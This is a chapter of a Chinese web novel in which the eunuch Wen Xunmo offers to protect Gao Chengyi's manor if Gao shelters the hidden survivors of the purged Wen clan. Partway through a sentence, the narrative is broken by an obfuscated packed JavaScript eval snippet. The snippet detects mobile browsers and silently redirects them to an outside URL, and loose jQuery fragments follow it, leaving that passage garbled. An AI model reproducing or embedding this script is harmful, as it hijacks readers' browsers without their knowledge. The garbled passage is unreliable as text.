46.温氏余孽
作品:《落草为寇,但登基了》 高承翊一行人就只得跟在他后边。
这距离不远不近的,也能听到他说话:“那位孔百户说的对,高公子如此宠溺弟弟,是要将二公子宠坏的。”
高濯衡还是死死抱着哥哥。
高承翊这边也是颠了下,抱更紧了些,仿佛怕温寻墨要将孩子抢走。
宋遥瞥了他一眼,人群中也有他们的人,宋遥看这边地势开阔了些,这意思是问他要不要动手。
却听前头的温寻墨又道:“诸位如今只有咱家这里一条生路,劝你们好自为之,莫要多费心机,作茧自缚。”
温寻墨将人引去了一间酒楼的二楼雅座,那厢房内已有一个少年在等着,看上去只比高濯衡大上三四岁。
个子却高了不少,竖着高马尾,眉清目秀的,十分漂亮。
不同于温寻墨,他穿的是粗布衣,见人来后立即站起身,颔首作揖行礼,十分规矩。
反观同样是孩子的高濯衡,还是挂在哥哥身上,一眼都不给旁人。
温知远在靠近太栉国的一个小岛上长大,那时他14岁,第一次踏上故国的陆地。
不再是那座走两天就能逛遍的孤岛,而是正真的城市,集市,平坦的地面,不是海鸟而是数不清的人。
当他看见港口上停的船时,惊得嘴巴都闭不上,他沿着海岸狂奔,像一只未开化的猴子,指着那艘最大的货轮,在温寻墨身边跳着说:“叔叔!叔叔!我就是要造这样的船!不,比它更大!比它更大!我要造这世界上最大,最快的船!”
他一直按着温寻墨教他的做,即使是在小岛上长大,他也不曾荒废学业。
温知远是温寻墨的堂侄,也是他那时最好的学生。
所以当他看到一直挂在哥哥身上的高濯衡,还以为这小孩儿智力有缺陷,可能是腿脚不好,不会走路。
看见人也不说话,大约是个哑巴,一直趴在他哥身上,好像也听不着人说话,人说哑巴必然聋,想来是真的。
又聋又哑又瘸又智障,真可怜。
许久之后他把这事讲给夏辛听,把夏辛气的连翻了十几个白眼。
众人落座后,高承翊也看出这人是真的有事找他商量,先甭管什么事,人都到馆子了,不吃一顿,不是他的作风。
这边上了茶,温寻墨才要开口说事儿,高承翊就一句:“衡儿饿了吗?”
高濯衡一点头,也不看自家哥了,往温寻墨那一瞅,大眼睛忽闪忽闪,小嘴抹了蜜的甜:“大哥哥,衡儿可以吃炒菜吗?”
自出抚州城,他几乎没再吃过炒菜了,刘具的山庄里倒是养了厨子,有一整套的厨具,但炒菜费时费油,高承翊把所有人都拉去种地,修城墙了,包括厨子。
女人们有会做炒菜的,可炒的怎么都不如馆子里的大厨。
且她们也得干活,高承翊给她们分了稍轻一些的活计。如喂养家畜、浇地、洗衣……
他甚至还打算买上几台织机,组织大家织布。
山庄里的大伙儿,为了能屯够过冬的粮食、衣物、钱财,每日都很忙。故而吃食方面,是能快则快,填饱肚子为主,不甚讲究。
高濯衡虽不喜,他是最挑食,吃的精细的,可也知道不能太任性。夏辛给他炖过几次鱼羹,炒菜他做得不好,高承翊更是没炒过菜,把食物全放锅里,煮熟,就是哥哥厨艺的极限了。
高承翊此前是考虑过孩子要吃的好些的,但苦于实在没那个条件,厨子砌了一天的墙,到了晚上倒头就睡,十头牛都拉不起来。
按他的计划,至少要再等一个丰年,确定存粮不会饿死人后,才能给弟弟开小灶。
目前当哥的只能给娃早晚多添个蛋,把自己的那份肉给弟弟吃。
这会儿挑着好机会,兄弟俩那叫一个心有灵犀,打算狠狠宰这太监一顿,祭一祭腹中馋虫。
温寻墨就吃亏在太要面子,他不是喜欢拐弯抹角的人,孩子想吃就是呗,这水汪汪的眼睛,谁忍心拒绝呢。
温寻墨清了清嗓子,少了些造作的尖锐,他叫来了店家后,微微俯身靠近高濯衡,声音更低了:“点菜吧。”
高濯衡拿过菜单,先递给了温知远。
温知远才从岛上出来,他那岛上没有餐馆儿,点菜这事儿于他甚是新鲜,但叔叔在,又是在客前,他不能太过放肆,就指了两个他一看就知的普通菜色。
接着便轮到了高濯衡,他干这事儿简直就是行家,从菜色问到食材新鲜程度,份量大小,三言两语安排妥帖,把菜单递回时,还顺嘴问了一句众人是否有忌口的。
温知远这才明白,这人不仅不傻,还是个见过世面的。
吃饭时,温寻墨几乎没动筷子,高承翊被他盯的有些发毛,他用手上的筷子,熟练的给高濯衡挑着鱼刺,以尽量自然的口吻问出:“公公是要来带我进京的吗?”
温寻墨挑眉,指了指兄弟二人:“是你们俩。”
“既然如此,直接拷了带走,不是爽快?”高承翊道。
温寻墨道:“我知道你手上有将近一千的残兵,还有几百个抚州的难民。”
高濯衡还在吃东西,高承翊和孔、宋二人,都放下了筷子,看着温寻墨。
而温寻墨却看向了高濯衡:“咱家和二公子,见过的。”
高濯衡一点都笑不出来,他夹了一块虾仁,决定能吃的时候,就多吃点。
温寻墨继续道:“刘具的庄子,是一处好地方。昨日我的人说,你们还建了夯土墙。不过…那些墙,扛得住一颗铁炮弹吗?”
“燕王最快今日,最迟后日,就会到。”温寻墨继续说着,“如果他知道,有这么块地方,藏着这么多的兵,还有田和粮食,你觉得他去抚州前,会不会顺带去一趟你们的庄子呢?”
高承翊道:“你到底想说什么?”
温寻墨道:“岷江岸边还是好守的,水寇打不过来,靖江还会如往常一样,我可以保下那座庄子,和庄子里所有的人。如此,你随我进京也不用再有牵挂了。”
高承翊道,“我并不认识你,凭什么相信你的话?”
温寻墨道:“除了我,你别无选择。”
高承翊问:“什么条件?”
“我喜欢和聪明人说话,只需稍稍对视,就能懂其中奥妙。”温寻墨对高承翊勾起了唇角。
他略微上挑的眼睛,弯了弯:“我有五百多个人…”
宋遥没忍住,一口汤喷了出来。
温知远被他逗乐了,少年噗嗤一声笑了出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215215|195711||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,温寻墨瞪了他一眼,孩子立马收了笑,继续面无表情坐着。
高承翊故意调侃着皱了皱眉:“一开口就是五百个人…你这顿饭,也太贵了点,再加几个菜,衡儿去点菜,想吃什么,上双份儿。”
温寻墨看他反应,觉得他态度松弛,便也垂眸一笑。
原本剑拔弩张的紧张气氛,消散了不少。
温寻墨道:“庄子后山下的水田,再多些人都能养得活。”
“我听说权珰们在京城的府邸,都十分豪华,你大可把这些人再安排进你府中伺候你。那刘具给你运去的银两,再买一座山庄都够了。”高家兄弟曾讨论过他,高承翊后来也打听了一些有关他的事,“还是说,你要藏的是海州温家的后人?”
温寻墨点头:“太监身边是藏不了人的。”
京城有无数的眼睛盯着他。
高承翊很好奇,为何会突然多了这么些人:“他们都是温家的旁支、宗室?”
“不,姓温的男丁当年全被杀光了,旁支宗室都没放过。”温寻墨道:“如今,只剩下我和远儿两人,那五百人是当年在温家谋生的工匠、账房、水手。他们都因牵连被治了罪,案发时他们还在海上。”
也就是从那时候开始,他们没有再踏足故土。
“远儿是在船上生的,堂嫂因突闻噩耗,难产而亡。堂兄在远儿五岁时,也病故了。”温寻墨道,“他们不敢回来,便移居在一处无名海岛,那岛是当年温氏祖辈游商时发现的无人岛。众人在孤岛上定居,耕地、豢养牲畜。可岛上物产单一,我境况好些后虽不时会送些东西过去,但他们仍不可避免要外出买、换物品。小岛临近太栉国,如今两国交战愈加恶化,那岛已不安全了,我早想将他们迁出,但一直没有合适的机会。”
温寻墨十分有诚意的将原委全数告知,他在利用这次的机会,让那些人摆脱温氏,当抚州难民。
至于温知远,高承翊的小山庄里,挤满了‘当朝罪人’,多他一个不算多。
高承翊思索了片刻:“你既无法安置他们,又如何能护我们山庄周全?”
温寻墨道:“京城和越州不一样。”
温寻墨的手眼监视着百官,百官自然也有耳目,对着他。他当皇帝的眼睛,皇帝自然也会防着他。
他在京城几乎没有隐私,能做出的事,就是做给别人看的。
可越州不同,远离京城,那些眼睛少了很多。所以他今天,才能在此和高承翊对话。
温寻墨继续说着:“地方官的猫腻,比京官可多太多了。天高皇帝远,能动手脚,捞银子的地方,数不胜数。一个拖一个下水,渐渐的,一个县,一个州府,甚至一个省,都有瞒着上头的事。你有我的把柄,我有你的把柄,大家都是一条船上的蚂蚱。”
“但我不能以自己的名义购地,这样的动作太大,会被上头发现。只要让他们住进山庄,那这庄子名义上就还是刘具的。我不会将你曾带着残兵躲在山庄的事告诉任何人。刘具背靠市舶司,有主的地方,燕王不会来占。”温寻墨道,“我的那些人,当年是以失踪结案的,十四年了,世人皆以为他们早死在了海上。我也怜你护民之心,我有上命,必须带走你和你弟弟,其他人,我愿意帮你保全。”

